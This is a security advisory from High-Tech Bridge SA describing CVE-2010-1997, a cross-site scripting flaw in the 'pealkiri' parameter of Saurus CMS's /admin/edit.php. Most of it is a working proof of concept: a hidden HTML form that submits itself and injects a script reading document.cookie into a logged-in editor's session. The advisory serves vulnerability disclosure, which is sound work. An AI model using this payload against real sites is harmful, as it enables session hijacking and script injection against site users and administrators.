Cross-site Scripting (XSS) in Saurus CMS

High-Tech Bridge SA Security Research Lab has discovered a vulnerability in Saurus CMS which could be exploited to perform cross-site scripting (XSS) attacks.

1. Cross-site scripting vulnerability in Saurus CMS: CVE-2010-1997
   The vulnerability exists due to insufficient input sanitation in the HTTP POST parameter “pealkiri” in /admin/edit.php. A remote attacker can create a specially crafted page and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is logged in and has “Article list” edit privileges.
   Exploitation example:
   <form action=“http://host/admin/edit.php” name=“editForm” method=“POST” enctype=“multipart/form-data”>
   <input type=“hidden” name=“tab” value=“object” />
   <input type=“hidden” name=“op” value=“new” />
   <input type=“hidden” name=“op2” value=“” />
   <input type=“hidden” name=“refresh” value=“0” />
   <input type=“hidden” name=“tyyp_id” value=“1” />
   <input type=“hidden” name=“tyyp” value=“rubriik” />
   <input type=“hidden” name=“pearubriik” value=“0” />
   <input type=“hidden” name=“id” value=“27746” />
   <input type=“hidden” name=“parent_id” value=“27270” />
   <input type=“hidden” name=“previous_id” value=“” />
   <input type=“hidden” name=“keel” value=“1” />
   <input type=“hidden” name=“on_pealkiri” value=“1” />
   <input type=“hidden” name=“sorting” value=“”>
   <input type=“hidden” name=“extension_path” value=“” />
   <input type=“hidden” name=“opener_location” value=“” />
   <input type=“hidden” name=“publish” value=“1” />
   <input name=“permanent_parent_id” type=“hidden” value=“27270” />
   <input name=“sys_alias” type=“hidden” value=“” />
   <input name=“advanced_panel_state” type=“hidden” value=“0” />
   <input type=“hidden” name=“pealkiri” value=‘"><script>alert(document.cookie)</script>’ />
   <input type=“hidden” name=“friendly_url” value=“scriptalertdocumentcookiescript” />
   <input type=“hidden” name=“ttyyp_id” value=“0” />
   <input type=“hidden” name=“publish” value=“1” />
   <input type=“hidden” name=“rubriik[]” value=“27270”>
   <input type=“hidden” name=“page_ttyyp_id” value=“0” />
   <input type=“hidden” name=“on_meilinglist” value=“1” />
   <input type=“hidden” name=“avaldamise_algus” value=“” />
   <input type=“hidden” name=“avaldamise_lopp” value=“” />
   <input type=“hidden” name=“kesk” value=“0” />
   </form>
   <script>
   document.editForm.submit();
   </script>